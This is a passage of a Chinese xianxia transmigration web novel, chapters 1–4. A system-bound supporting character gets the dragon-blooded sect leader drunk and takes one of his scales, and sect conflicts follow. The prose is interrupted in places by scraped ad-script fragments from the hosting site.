《揣着龙傲天的崽穿回现代》 1. 半日闲 穿进《万古龙神》的第八百年,陆时遭遇了职业生涯中最大的滑铁卢。 封烬盛怒的质问仍清晰回荡在耳中:“你是以什么身份不准我娶她!” “挚友?那你该祝福我!护法?宗主之令当属下的该遵从……” “……” 陆时沉默不语。 迟迟等不来答案的封烬冷脸甩袖离去,只留下一句:“下去好好想想!想明白再来回答我!” 倒不是回答不了,而是不能回。 什么身份?当然是给你作配的苦逼男二。 陆时穿越是个意外。 考入大学后他就备战公考,却在离上岸只差一步时,因为举报被取消了资格。 为了混口饭吃,陆时加入了一家经纪公司,成为了内娱众多查无此人的十八线艺人中一员,四千一月的底薪一拿就是三年。 平静的日子一直持续到他被一个合作方的老总看上,恨铁不成钢的经纪人想激他一把,给他茶里下药。 结果自然是没能得逞。 陆时在给那老总狠狠开了个瓢后逃出了酒店,结果狼穴刚出,虎窝没有,超速酒驾的全险半挂有一辆。 被创飞几十米的陆时原本认命等死,眼前却出现了一个叽叽喳喳闹腾不停的小精灵,还催促着跟他签订条约。 熟读轻小说的陆时想也没想就答应,甚至幻想自己转生异世界成为勇者,留下无数英勇的冒险事迹供吟游诗人传唱…… 只可惜他生活在某绿色软件里。 异世界是有,不过是点家爽文的书中世界,所谓的小精灵,则是为了修正世界线的系统。 但陆时还是上了贼船。 无他,系统开工资是真大气,完成任务不仅给返回地球,且额外赠送一个愿望。 陆时就此成为了一名光荣的点家男二,目的是辅佐男主成仙。 《万古龙神》是一本俗套的复仇打脸虐渣爽文。 本文男主封烬是龙神遗血,但其父兽皇被人族围,临死前封锁了他的血脉丢弃在荒僻山村的破道观门口,希望他作为一个平凡人安稳活过一世。 但对龙傲天来说,平凡是最遥不可及的梦想。 十四岁那年,收养他的老道士被妖邪斩杀,为报血仇的封烬踏上寻仙问道的漫漫道途,这也是他美强惨的开始。 同门构陷、同伴背叛、血脉暴露、遭遇追杀……封烬在惨无人道的炼狱中厮杀千年,邪功大成,最终成长为一代至强妖皇,杀得天下正道血流成河! 引得读者大赞暴爽! 只可惜后续的走向天崩到惨不忍睹! 先是凭空推出一个谪仙转世的神女叶微桐,作者极尽描写她容颜多么绝世,品德如何高尚,而后又用大篇大篇地刻画她和封烬的相遇—— 没错,封烬对她一见钟情了! 即便过了八百年,陆时再次回想看过的原文也忍不住自戳双目! 『封烬邪魅一笑:有趣,我封烬第一次见到不仅不畏惧我,还带着厌恶的女人!有趣!实在有趣…… 叶微桐挣开封烬的手,避过亲吻,清冷的脸上尽是嫌恶:滚开!你这样杀人如麻的刽子手,我嫌脏……』 于是,她逃,他追;他要娶,她抵死不嫁;他杀光她全宗,她含恨复仇……他们是元初界最癫的一对。 一代点家爆文就此跌下神坛,陆时合理怀疑作者找枪没卡频道。 而被喷出翔的作者更是心态失衡报复起了读者。 《万古龙神》以叶微桐自刎,封烬抱着她的尸身心灰意冷毁灭全世界的发癫剧情做结尾,引来无数读者气的捶胸顿足问候他十八代祖宗! 庞大的怨气引来了系统介入,也才有了陆时穿越这一茬。 原本,经过陆时八百年兢兢业业的努力,封烬凭借着半步仙境的境界,力压无数天骄,成为当世最强。 只等她跨过最后的那一道坎,陆时就能退休回家养老。 但人一得势,就容易飘。 封烬不仅不急着破境,反而饱暖思淫.欲,沉迷起了女色。 起初,陆时还能坐得住,毕竟男人嘛,哪儿有不想着那事的? 更别说像封烬这得种出身点家的龙傲天,金枪不倒那都是标配,不能用一般的常理约束。 再者,这也算是自己亲手造下来的孽。 当初陆时为了能够早点退休,几乎无微不至地护着封烬,将他与诸般诱惑隔绝开来。 封烬开窍报复性地找人谈恋爱,也算是他的报应。 陆时的无所谓消失在天诛宗内看到了叶微桐的那一刻。 当得知封烬攻入仙门,当着无数正道的面把叶微桐强取豪夺掳走,还大张旗鼓地昭告六界要办婚礼,意图强娶时。 陆时仿佛看到原著的发癫结局就要重现! 他再也淡定不下去! 陆时立刻找上了封烬,苦口婆心分析其中利害,希望他能回头是岸。 却被封烬一句反问堵死所有劝说:“仙癫寂寥,我想有人能同我共往,能有这个资格的人,放眼三千世界,她勉强能算一个。” 别无他法的陆时起初也想过撮合叶微桐和封烬,无一例外以失败告终,叶微桐视封烬为洪水猛兽,抵死不从。 别无他法的陆时只好选择了最蠢的办法,偷放人走。 他选在了封烬外出巡狩那天动手,只是他还是低估了封烬对叶微桐的关注程度,人还没跑出下山,就被当场逮住。 再然后,就是封烬当众质问斥责。 “陆时,我搞不懂,封烬他又没有说责罚你,你为什么要自己给自己找罪受?” 系统的声音令陆时从回忆中回神,灰翳的眸子挣开,入目,是一片空茫的世界。 无垠的土地上,不见人影、死寂无声。 天诛宗称此地为无妄心境,但在元初界,它有着一个令人闻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 之色变的名字,无际幽笼。 外界一天,心境一年。 多的是大能被永无止境的孤独磋磨出心魔暴毙而亡。 而距那日和封烬闹得不欢而散封烬主动跨进其中,已经过了三天。 陆时倒是一切安好。 心智坚定是一方面,主要是系统一直偷主神的网放电影看,顺带打发了他的时间。 对此,陆时平静地回复系统:“他是宗主,我是下属,当众违令没有受到任何处罚,届时还有谁会遵守宗规?” “维持天诛宗的影响力,也是在完成我们的任务。” 系统仍旧为他鸣不平:“理是这么个理,只是你也没必要这样对自己吧?” 陆时却一脸无所谓地说道:“与平时累死累活处理宗门事物相比,这日子别提多惬意了,我记得蓝星有句古诗,叫,偷得浮生半日闲,就当是度假吧。” “而且,我也不会一直待下去的……” 话还没说完,眼前永恒死寂的心境忽然泛起了阵阵涟漪。 动静大的连系统都被吸引了注意力。 “这是咋了?” 陆时恍神过后,声音略带惋惜:“假期,结束了。” 话音落下,心境就如泡沫崩裂。 陆时再睁开眼,入目的是立于云巅巍峨磅礴的天诛宗门。 系统激动说道:“封烬把你放出来了?” 系统不是凭空猜测。 无妄心境是禁地,放眼整个天诛宗,掌有开关权限的不过一掌之数。 陆时身为地位仅次于封烬的护法,手里当然也有这个权利,不过也正因他的身份,其余人没胆敢贸然解除他的禁闭。 所以这个人只能是封烬。 “他肯定意识到你的重要性,来求和了。” “不。” 陆时却给系统泼了一盆冷水,灰翳的眸子望向禁地入口,他笃定地说:“来的人不是封烬。” “那会是谁?” 见灵气散尽后,从中走出的人令系统陷入懵逼:“叶微桐,怎么是她?” 陆时同样好奇。 他干脆走到叶微桐的面前,直接将心底的疑问说了出来:“叶姑娘,你怎么来了?” 叶微桐无愧她圣女之名,脸上那抹悲天悯人的慈爱令人难以忽视:“平念尊被我连累,微桐如何能视若无睹?” 平念,陆时的道号。 陆时这才看到,她掌心紧攥着一片乌黑色的鳞。 他瞬间明了:“所以,是你向封烬求了恩典?” 陆时叹了口气,满是无奈:“其实这大可不必……” 以封烬那一条路走到黑的倔驴性格,想要他让步,付出的代价不可谓不高。 他在里面又没受苦,为此搭上一桩因果实在划不来。 叶微桐神色一滞,而后一脸沉重地说道:“平念尊,微桐已经决定,接受封宗主的求婚。” 2. 醉仙酿 “啊?不是,你怎么会……” 叶微桐没给陆时询问的机会:“下月十八,是我们大婚之日,平念尊,还望您能明悟。” 说完,躬身见礼,然后头也不回地运起身法消失在陆时视野之中。 叶微桐走后,陆时蹲在禁地的大门口左思右想,仍是弄不懂她的意思。 “明悟啥啊?让我死了挑拨她离开封烬的心?” 系统也懵逼:“不道啊,这姐们上次不小心被封烬碰了一下就寻死觅活的,怎么现在就嗷嗷待嫁了?” “不知道。” 陆时摇摇头,而后仍是一脸无所谓地说道:“算了,她要嫁就嫁吧,反正也没啥影响。” 他也自始至终没对叶微桐抱有多大期望。 陆时这人别的优点没有,唯独不钻牛角尖,想不明白的事情就直接抛之脑后不管。 他伸了个懒腰活动了酸痛的筋骨,而后抬手召出一柄制式古朴、花纹黯淡的长剑。 还没来得及念出御剑的口诀,长剑就一个虎扑飞了过来,只蹭着他的脸。 系统啧啧摇头:“平念还是老样子,一日不见,就想得不行,像只撒欢的小狗一样,没有半点神剑的威严。” 陆时却只觉得欣慰:“天下神剑有那么多,唯独平念是独一无二的。” 系统无情拆台:“每个剑修都认为自己的剑是最好的。” “嗯嗯。” 他像是养了两只宠物,安抚完一只又马不停蹄去哄另一只:“好了平念,等回洞府了我再陪你玩儿好么?” 平念这才依依不舍地化作飞剑,载着它的主人御空而起—— 系统后知后觉问道:“这不是去主殿的路啊?” “先回寄遥殿,这几天想必积压了不少公文,得把那个处理完再说啊。” “我嘞个祖宗宿主啊!你啥时候这么热爱起了工作?” 系统没忍住:“现在的当务之急是劝封烬回心转意啊!要是他再把世界炸了,我们这八百年的努力岂不是全白费了?” 陆时却不甚在意:“叶微桐都答应嫁他了,封烬还有啥灭世的理由?他这人虽然霸道了点,但没有世界负我的中二病。” 系统无语:“行吧行吧,随你。” 平念飞的很快,一息的功夫就到了寄遥殿。 陆时安稳落在殿门口,收剑入鞘,却见守门的弟子皆是眼生,便问:“丘云、洞念他们呢?” “……” 几人沉默不答,四处飘转的视线昭示了心虚。 “嗯?” 陆时意识到了不对劲,径直朝殿内走去。出乎预料的是,守门的弟子竟然抬手将他拦了下来。 “平念尊,留步。” 见到这一幕的系统惊愕不已:“嘛回事?咋还不准你回家了?” 陆时没回,灰翳的眸子越过弟子举起的剑望向殿内。 一个身穿暴露红衣的男人迎着陆时的目光,扭着柔弱无骨的水蛇腰走了出来。 妆容妖冶的脸上笑得灿烂,眼中的得意溢于言表:“平念尊,别来无恙。” 目光落在对方头上标志性的一双毛茸茸的绯色兽耳,陆时同系统说:“我好像猜到发生了什么了。” 系统:“我也是。” 赛乃慕,忠实的妖皇血脉追随者。封烬龙神血脉觉醒后,第一个归顺的四大妖王就是他,原形为天品灵兽炎火狐。 狐族生性慕强,赛乃慕是坚定保皇派,忠诚度没的说。 但以成为封烬第一狗腿子为奋斗目标的赛乃慕,对陆时这个寸步不离男主身边的苦逼男二,他无时无刻不想取而代之。 下一秒,赛乃慕站在台阶上,趾高气昂地说道:“陆时!我已上报宗主,宗门事宜已由我全权代理!” 得意忘形的赛乃慕完全不知道什么叫收敛,对比他身份更高的陆时直呼其名。 “你现在的职责,是回去闭门思过,直到给宗主一个满意地回复为止!” 系统气愤不已:“封烬他竟然为了个女人就夺走了你的权!那下一步是不是要把你赶出宗门了?” “没有你的倾力襄助,哪里会有如今纵横世间的天诛宗?” “他太过分了,这个白眼狼,哦不,白眼龙!” 陆时哭笑不得:“封烬没有那么小心眼,这大概是赛乃慕虎假龙威,自作主张。” “是么?” 系统狐疑,但想着陆时的确是最了解封烬的人,信了,于是将怒火转向了赛乃慕。 “这只臭狐狸!你当初从血海里把他捞出来,结果他竟然恩将仇报来夺你的权!陆时!你必须要给他个教训!” 嗡嗡。 被他抱在怀中的平念也被激起了怒意,剑身疯狂颤动,这架势,仿佛下一刻就要出鞘大卸八块。 “你看平念也是这样想的。”系统撺掇道:“陆时,把他尾巴毛全削掉,看这臭狐狸再也不敢来招惹你。” 然而陆时却按住了躁动的平念,一句话也不说地转身就走。 “陆时?” 不止是系统懵逼了,就连赛乃慕也傻了。 他自高台飞下,拦在了陆时面前,一脸错愕地问:“不是?你就这么走了?不打算做点什么?” “唔。”陆时沉吟过后,道:“是有一件事情想做很久了。” “是什么?” 在赛乃慕一脸紧张地期待下,陆时缓步走到他面前。 是要骂我?还是打我? 赛乃慕的身体绷紧,灵力蓄势待发,做好了反击的准备——他自信,不管陆时是拿平念砍他还是近身搏斗,自己都能接下来。 但接下来发生的一幕仍是超乎了他的预料。 陆时抬起手,却不是为了打人,而是摸向了他的耳朵! 而后,轻轻一捏! 顿时,赛乃慕大脑一片空白,极合适的力道令他几乎本能地发出一声惬意地嘤咛。 “嗷……” 陆时由衷赞叹道:“手感果然跟我所想的一样好啊。” 等赛乃慕意识到陆时做了什么时,庞大的屈辱感立刻涌上心头!双手化爪,朝着陆时扑了过去! “陆时!你个混蛋!我要杀了你!” 然而陆时只一个侧身就避过了这一通乱抓,然后抬手按在了赛乃慕的肩膀上,略微用力一按。 前一秒还在暴走的赛乃慕立刻不动弹了,在外人眼里,就像是被措不急防拎住后脖颈,而被迫乖巧的小猫! 实则,只有赛乃慕本人清楚知道原因——他在陆时身上清楚地感受到一阵震颤神魂的可怕威压! 同为当世顶尖修者,赛乃慕再熟悉不过这意味着什么! 他的声音颤抖,有不甘同时还有隐秘地崇敬:“你、什么时候突破的?” 陆时并未否认,却也没有回答,说出来的话更是令赛乃慕丈二和尚摸不着头脑:“好好干吧。” 说完,松开了手,威压如同潮水般褪去,失去了支撑的赛乃慕跌坐在地上! 等他终于回过神时,陆时早已不见了踪影,气得他捶地破口大骂:“陆时,你给我等着,老子跟你势不两立!” “不就是渡劫大圆满吗!等老子闭几百年死关出来也可以做到!陆时,你给老子记好了,天诛宗有你没我!” “这臭狐狸好欠揍!” 陆时其实并未离远,却也不甚在意,“随便他吧。” 系统恨铁不成钢的语气对他宿主一通叨叨:“陆时,不是我说你,你搞什么飞机呢?刚刚一心要回寄遥殿,现在就直接拍拍屁股走人?” “刚刚你不是还说我分不清轻重缓急么?既然他主动提出要管那些公务,那我何不顺手推舟为自己减负?” “可是、可是……”系统觉得不对,但又说不上来,憋了半天挤出一句:“但寄遥殿是你的居所,你干嘛让给他啊?” 这让陆时脚下一滞, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他愣了一下才想起确实有这么一茬。 因为封烬一直潜心修炼甚少插手宗门事宜,所以天诛宗的事宜都的是陆时在管。久而久之,他的宫殿就成了天诛宗的政务大厅。 陆时说:“给他就给他吧,反正我也不住那儿。” 他另外开辟了一处洞府作为居所。 系统疑惑道:“陆时,我怎么觉得你有点不对劲?” “哪儿有,大概是你压力太大产生了幻觉吧。”陆时打断系统的自证:“我还有多少积分?” “我看看啊,三百二十五万,不过你怎么想起了问这个?你一直没用过系统商城,我差点忘了怎么查。” 陆时无奈耸肩道:“这不要去说服封烬么?不得准备点非常手段?” 陆时此刻正在走去主殿的路上。 天诛宗几大主殿皆立于不同山头,由一根铁链串连。 铁链穿云而过,下方是万丈悬崖!而可供下脚的,也不过鞋面大小的链身,可以说一个失足就会小命不保。 这天诛宗用以磨炼增进弟子身法的宝器,陆时走的可谓是稳稳当当,说是如履平地也不为过。 “你要换什么?忘情水?如意宝珠……”系统一连报了数十个神级用具的名字。 “都不要。” “为什么?” “太贵了,一个都四五十万积分,用不起。”陆时道:“给我兑换一坛醉仙酿吧。” “啧,就没带过像你这么抠的宿主。” 系统吐槽归吐槽,但动作很麻利:“兑换完成,消耗积分五万。” 一阵流光划过,陆时的手上就多了一坛酒。 “这就是号称三杯神仙醉的仙酿?” 陆时好奇打量将酒坛举到面前,搁着泥封,他都能闻到一股沁人心脾的浓郁酒香。 只是轻轻嗅了嗅,就像是酥软了他的骨头。 他不吝赞叹:“果然是好酒。” “昂,系统出品,必属精品。”系统自豪地挺着并不存在的胸脯:“不过醉仙酿跟说服封烬那头倔驴有啥关系?我看就是你这个酒鬼馋了吧。” 陆时换了只手稳稳拎着酒坛,确认不会摔撒了之后,缓缓答道:“非也非也,你忘了我是谁了么?” “你不是陆时吗?” “是,我是陆时。”陆时应着,又道:“但同时我也是从微末伊始就陪在封烬身边,一步步走到今天的兄弟。” 陆时今天的心情很好,大抵是无需处理繁缛的文书,平时寡言的他竟然破天荒地跟系统详细解释了自己的用意:“统,对一个男人来说,一个女人固然重要,但不是全部。” “男人的劣根性很重,好色、花心……但同时他们又很矛盾,又莫名地重视感情,尤其是那种纯粹的不含任何外物杂志的,就比如,友情。” “回忆共苦的过往,尤其是在功成名就之后,对摇摇欲坠的情份是一个大杀器。” 系统恍然大悟:“你是要跟封烬打感情牌?那他不得被你死死拿捏在手里?” 陆时但笑不语。 系统不吝夸赞:“好方法!陆时!不愧是你!” 谈话间,脚下的穿云链已经到达了尽头。出现在眼前的大殿层高千丈,殿门两旁,有天阶异兽并列拱卫。 这里是天诛宗的主阁,宗主居所——潜鳞殿。 殿内,封烬高居主座。 他单手撑着下颌,微蹙的剑眉下,一双耀眼金眸凝望着掌心乌黑如墨的鳞,涌动着骇人的烦闷躁意,强衡霸道的灵力也随主人心境而动荡着。 令他面前身形娇柔的女子瑟缩了身子。 封烬垂眸看她,面容冷肃:“叶微桐,希望你所言句句属实,否则,欺瞒本座的后果,你担待不起!” “我……” 突然,察觉异动的封烬冷乜向门口:“谁?” “呃,封烬,是我。” 好巧不巧,陆时正是在此时进入殿中。 3. 墨玉鳞 “陆时?你怎么来了?” 封烬下意识想要起身,但瞥了底下的叶微桐一眼,板着脸问:“又有哪家不怕死的宗门找上来了?” “宗门一切安好,只是一点私事。” 看着气氛微妙的两人,陆时在心里直呼自己来的不够巧:“看样子是我打扰你们了。” 他作势就要离开,却被封烬叫住:“不是有事?怎么就走了?” “呃……” 陆时尴尬地看了一眼叶微桐。 他不走,难不成要他当着封烬小女友面追忆过往么?陆时还是有不当电灯泡的自知之明。 封烬面色有所缓和,柔声道:“叶微桐,下去吧。” 叶微桐颔首:“谨遵宗主命。”正要转身离开,就听封烬又补了一句:“安心准备大婚,我不希望再看到什么幺蛾子。” “是……” 叶微桐虽然答应,但陆时仍是看到了她满脸勉强,心想:果然不出我所料,她会答应,必定是封烬做了些什么…… “是什么事?” 近距离在耳畔炸响的声音吓了沉思的陆时一跳。 他这才发现,原来在他愣神期间,封烬竟已走下台阶,此刻停在了自己的面前,正定定地看着自己。 “陆时?” 作为本文男主,封烬的长相自然不用多说。 青年身量极高,身板如青松挺拔,硬朗的五官俊逸非凡。大概是青年桀骜不驯的性格所浸染,陆时总是能在封烬的身上感受苍茫、自由的浓郁野性扑面而来。 当然,最可能的原因,是因为封烬非人。 或许是幼年的经历,封烬血脉觉醒后也常年维持着人形,以至于陆时都差点忘了其原身是一只黑龙。 陆时心念一动。 他好久没有见过封烬的本体了。 “别发呆了。” 系统的提示令陆时想起了来意。 他压下发散的思绪,冲着封烬露了一个浅淡的笑,亮了亮手中拎着的酒坛,道:“我寻到一瓶好酒。” 封烬闻言望向陆时手中的酒坛,鼻翼微动,感受着浓郁酒香,封烬面色有所缓和:“是不错。” 陆时微不可察地松了一口气,笑道:“我们也好久没有一起共饮了吧?来一杯?” “好。” 甚少有人知道,威严的潜鳞殿后矗立着一座用以观景的雅亭。 二人落座后,陆时远眺亭外天御崖无边的云海,感叹道:“不管看多少次,都觉得震撼啊。” 封烬没有接话,只是静静地看着他。 在金眸的注视下,陆时淡然道:“来,喝酒。” 两人都极有默契地没有再谈不愉快的话题。 他拍掉泥封,打开酒坛,顿时,浓郁甘醇的酒香萦绕在亭台之中,令封烬都投来了一个赞誉的眼神。 “果然是好酒。” 陆时笑着说道:“只可惜仅此一坛。”他伸手取来了一片云,用灵力将其捏成两个酒杯,满上后推了一杯给封烬:“试试。” 封烬伸手接过,却并没有直接饮下,而是看着酒好奇问道:“为什么说仅此一坛?” 当然是因为舍不得积分兑换。 陆时随便扯了个理由糊弄道:“是从遗迹里翻出来的孤品。”防他再问,陆时举杯一饮而尽,脸上顿时露出满足的惬意:“好喝!” 意犹未尽的陆时又给自己满了一杯,正要饮下时他愣了一下,抬头看向封烬:“呃,把你忘了。” “反正也不是第一次了。”封烬嘴上虽是这么说着,但原本冷沉的一张脸却是缓和不少。 被陆时大咧咧对待,令他心情不错。 陆时用举杯掩饰自己尴尬:“来。” “干。” 封烬举杯,杯子轻碰发出清脆声响,而后触之即分,两人将杯中之物一饮而尽。 酒液滑入腹中,回荡的甘醇酒香浸醉了神识,封烬微眯了眼,甚少喝酒的他对这种不受控的感到不自在。 陆时察觉了他的异样,轻笑道:“你的酒量还是跟以前一样差。”他不客气地将酒坛抱走:“那便让我替你多担待一点吧。” 然而手腕被一只手攥住。 陆时垂眸望去,微醺的封烬睁大了金眸凝望着他,唇角带着势在必得的笑意,像是在说,你的小九九我已看透。 “休想,不是请我喝酒?今天,这酒你非得分我一半不可。” “明明自己酒量又不行,非得占着。” 说是这么说,却还是松开了手,任封烬抢走酒坛。 陆时手撑在桌子上,望着又饮下一杯的封烬,乐道:“封烬,你这人怎么这么横行霸道?” “谁的酒量能比得过你这个酒蒙子?至于我的脾性,陆时,最清楚的人不是你么?” 封烬用手背擦了唇角的酒渍,朗笑着,势在必得地说道:“我看中的,迟早会得到得到!” 陆时点头敷衍地应了一声,毫无征兆地提起了过去:“封烬,还记得天都山么?” 封烬点头:“记得,怎么不记得?那是我们离死亡最近的一次。” “当年,我血脉暴露,正道为了斩草除根,三尊携手而至,意图绞杀我这个兽皇遗血。” 封烬顿了顿,金眸又落回陆时的脸上:“当时,站在我身边的只有你。” 陆时接话道:“是啊,我们那时道法虽已大成,却依旧不是成名已久的三尊对手,被逼着逃进了圣地天都山。” 那是一位仙尊陨落之处,遗落的仙家遗泽庇佑着这片土地上的生灵安居乐业,是元初界最后的净土。 时隔多年,他们都早已登临巅峰。当初生死悬于一线的危难过往,如今再被提及,早已没有了紧张刺激。 “只可惜我们一个妖族孽物、一个是手染鲜血无数的仙门叛徒,不仅没有受到庇佑,反被结界试图抹杀,好悬没交代在那里。” 就像是一个茶余饭后的谈资,封烬说着说着都被逗笑了起来:“你说我们当时是怎么想的?” 陆时也笑:“大概是想赌一把吧。” “幸好我们还是赌赢了。” 陆时的笑容一僵。 那哪里是幸运二字就可以说明的?分明是封烬怀着必死的决心吞噬了那具仙人遗骨,打碎结界、杀退三尊,他们方才活了下来。 陆时仍清晰记得,逃出天都山后,命悬一线的封烬遭遇业力蚀骨挠心的反噬时的模样。 而时至今日,封烬也在受其侵扰,迟迟没有破镜,这股业力占了大部分原因。 握着酒杯的手忽然一个发颤,有点滴酒水撒了下来。 “还说我酒量差,自己都手抖了。” 陆时回眸望去,封烬朝他举起了酒杯:“还喝么?” 陆时点头:“喝。” 两人再次碰杯,对饮而尽,而这是封烬饮下的第三杯。 一入口,醉仙酿就发挥了效用。 啪嗒一声,酒杯脱手砸在桌子上,紧接着一声闷响,封烬也醉趴在了桌子上。 望着眼前毫无防备陷入沉睡的封烬,陆时的脸上却并没有多少笑意。他虽然只喝了两杯,但同样不好受。 放下酒杯支撑着站起身时一个踉跄险些摔倒,但在最后关头还是支撑地稳住了身形。 陆时朝着封烬走去。 系统持续懵逼:“陆时,你不是靠打感情牌说服他吗?把他灌醉干什么?” 陆时回道:“封烬他如果这么容易就被说服,那我们怎么会在这里一待就是八百年?” “那你想做什么?” 陆时不答。 跟系 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 统的交谈中,他已经拖着像是灌了铅般沉重的手脚走到了封烬面前。 用手背抵在封烬额头上略作探查,感受着灼热逼人的热意,陆时确定了封烬是真的醉了。 他开始了下一步。 陆时附身附耳对封烬轻声说:“化龙吧。” 封烬耳朵动了动,像是在确认发出这道请求的人是谁。 “封烬,我想看你。” 灵光一闪,醉酒的青年化作了本体,一头角似鹿、身似蛇、腹似蜃、鳞似鱼、爪似鹰、掌似虎的黑龙。 大抵是本能驱使,纵然醉酒,黑龙仍是想要昂扬龙首以展现浩荡龙威。 却仍是不敌醉仙酿的逆天功效,颤巍巍一阵挣扎无果后,黑龙摆烂地用前爪扒住了石桌,下颌趴在上面,不动了。 系统看得心惊胆颤:“陆时,咋回事啊?” “醉酒的封烬很听话,让做什么就做什么,我也是偶然发现的。” “谁问这个了!我是问你让他化龙干什么?”系统忽然发出了尖锐地爆鸣:“你不会是想噶了他吧?” 陆时被系统的猜测逗乐了:“那我们任务不就失败了?再者,我真要噶他,为什么不在他人形时动手?平念可砍不动龙鳞。” “你还真想啊?” 陆时只好坦白:“好了,我只是想从他身上取一样东西。” “原来只是取一样东西,那就好……”系统一口气还没松下来,就见陆时边伸手摸向黑龙背脊,边说:“封烬,我要你一片鳞。” “好个鬼啊!别人虎口拔牙,你龙身剥鳞?你不怕封烬杀了你?” 然而黑龙不仅不恼,还主动歪了歪头,露出了颈部大片油光水亮如同墨玉漂亮的一块块龙鳞。 系统还没反应过来,陆时已经利落地伸手取下了一片!黑龙的身躯上多了一个极为影响美感的豁口。 “!!!” 陆时却全然没有做了坏事的自觉,还主动道:“谢谢,封烬。” 黑龙耳朵抽了抽,发出轻轻呼噜一声,像是回应。 这吸引了陆时的注意,改变了原本收手的打算,他不仅将手放在了黑龙的耳朵上,还胆大包天地揉了揉! 揉完之后还大言不惭地拿它去做比较,并评价道:“果然物随主人,硬邦邦的硌手的很。” 对此不甚满意的陆时手抽的毫不迟疑:“还是赛乃慕的摸起来舒服,又软又有毛茸茸……” “祖宗哎,您废了这么大力气把封烬灌醉,就为了一片鳞片?” 系统整个统已经麻了,从陆时从心境出来之后,他做的每件事系统都已经无法理解:“您图啥啊?” “图个纪念。” “好了,东西拿到了,我们也该走了。” 目的达成,陆时心情很好:“统啊,统计下我之前没做的那些支线任务,再列个流程图,接下来全给刷了。” “怎么突然想起做这个?你不是嫌它们没有性价比,要留在最后做……”系统瞪大眼:“难道说?!” “嗯,我想到完成任务的方法了!不就是成仙么?他不成,我就帮他成!” “是什么?是什么?” 陆时却难得来了恶趣味,挑逗起了系统的兴趣后,又很渣地闭口不言:“秘密。” 系统:“……” 陆时说:“等将支线任务都做完,你就知道了。” “那我去整理,别骗我!” 将系统安抚完成之后,陆时看着静静躺在掌心中的龙鳞,又回望了一眼熟睡的黑龙,轻声道:“封烬,你我最终都会得偿所愿……” 陆时召出平念御剑而去,余音散去的诺言也消失在簌簌风中。 唯有熟睡的黑龙像是做了个美梦,惬意地甩了甩身后的龙尾,尾巴尖炸起的鬃毛久久没有平息。 4. 觅功德 “你就这么下山,不管封烬?他还醉着呢。” 陆时满脸写着无所谓:“那里是天诛宗,他又是宗主,他能出什么事,又有谁能让他出事。” 系统噎住了:“说的也是,但……” “别操心了,我又不是不辞而别,有给他留信。”陆时岔开话题,道:“专心做任务吧,支线任务给的积分可是实打实的。” 系统像是打了鸡血,将忧虑抛之脑后:“我的好宿主,统子为您导航,前方右转一千二百里是第一个目的地,阳极门……” “嗯。” 长剑划破长空,载着陆时东去。 每每垂眸,看着险峻山峦奔腾河湾都被悉数踩在脚下,陆时都会生出一种天穹仿佛都触手可及的错觉。 这种膨胀感,足以令人上瘾。 这之后,曾与天诛宗为敌的势力迎来了灭顶之灾——短短十日,就已有三百宗门亡于陆时之手。 这其中不乏传承千百年的老牌势力,更有古朝帝子栖身的宗族,皆败亡在陆时剑下。且随着时间推移,这个数字仍在不断增加。 各大宗门全部人人自危,生怕下一个被陆时攻入山门、断绝道统的就是自己! 仙盟内部,三宗八门紧急召开了秘密集会商议应对之法。 “泽雨阁一介药宗他也没放过!他是疯了吗?” “不能够再让这个叛徒嚣张下去!不然我们仙盟的颜面往哪里搁!” “诸位!我号召仙盟内所有渡劫境的大能共同去讨伐这个叛徒!” “……” 咣! 巨大的撞击声打断了众人群情激奋的声讨,还不等人反应过来,下一秒,万斤重的玄铁大门被砸碎! 身形高大的青年踩着碎石停在大厅中央,他缓缓抬眸,赤红的血眸扫向赴会的众人,声音冰冷,带着森然的杀意:“再说一次,你们要对谁动手?” “封、封烬!” 随着这个名字出口,这些在外称王称霸不可一世的大能全部仓惶变色,抖若筛糠。 “你怎么会在这里?” 封烬不理,在锁定出声之人后,毫不迟疑地出手! 磅礴灵力解放,恐怖的威压瞬间笼罩整片会议室,别说抵抗,就连武器还没掏出就齐齐被压垮了脊梁!压低下头颅! 一阵爆裂的声响传来,紧接着,是重物倒地的沉闷声响! 滴答、滴答。 众人只见到艳红的鲜血源源不断地顺着台阶滴落,他们惊愕抬头,首位已经空了出来,而座位的主人,这场集会的座上宾下场凄惨无比。 他像只死狗一样瘫在青年脚边,脖颈之上本该是头颅的位置只剩一片血污! “尊者!” 始作俑者封烬回望惊恐的众人,冷声道:“记好了,这就是试图冒犯天诛宗的下场。” “封烬!这、这里是仙盟,你难道想再度挑起大战吗?”三宗中有人鼓起勇气质问,但惊惧的声音却将心底的惶恐暴露无遗。 封烬嗤笑:“我敢应战,你们敢打吗?” 仙盟众人满脸屈辱,隐忍着一言不发。 “一群只会无能狂叫的老匹夫,老实夹紧尾巴,再敢耍什么小动作,就是仙盟覆灭之时!” 封烬嫌恶甩去手上污血,径直朝门外走去,众人纷纷避让,竟无一人上前阻拦。 任由封烬来去,宽松的仿佛此地不是仙盟,而是下界迎客的餐馆饭店—— 有一少年不甘屈辱愤而起身,向封烬发出质问:“封烬,你个魔头是不是用卑劣的手段折辱了微桐!” “不然她怎么会、怎么会……” 少年稚气未脱的脸上充斥着愤恨,睁大了眼睛死死瞪着封烬,他迫切渴求一个答案。 但等来的却是封烬冷乜一瞥:“你说谁?” “封烬,你个混——”堪称轻蔑的态度引爆了少年的怒火,他想向封烬发动挑战,尽管是蚍蜉撼树。 只是有人不允。 少年身旁的师长、亲朋齐齐出手将人死死摁住,嘴也被堵死,连同未尽的话。 封烬只当是一场闹剧,撤下掌心灵力,毫不在意地跨出大门。 留守的赛乃慕立刻恭敬上前行礼:“宗主,按您的吩咐,没放走一个。” 封烬颔首道:“嗯,走了。” 赛乃慕满脸都写着抵触与抗拒:“就回宗门……吗?” “不然?” 赛乃慕焦急不已,绞尽脑汁想道:“宗主,属下接到密报,天机阁同天佛门一直在私底下商议讨伐天诛宗,实属可恶!” “不如您顺势转道去东境,也给他们一个教训?” 封烬却不屑道:“不用搭理,我还怕他们不敢来。” “属下还得知东境有秘境现世,据说内有谪仙传承,还有还有,还有浮云商会举行百年一度的世纪拍卖,他们给您发了请柬……” 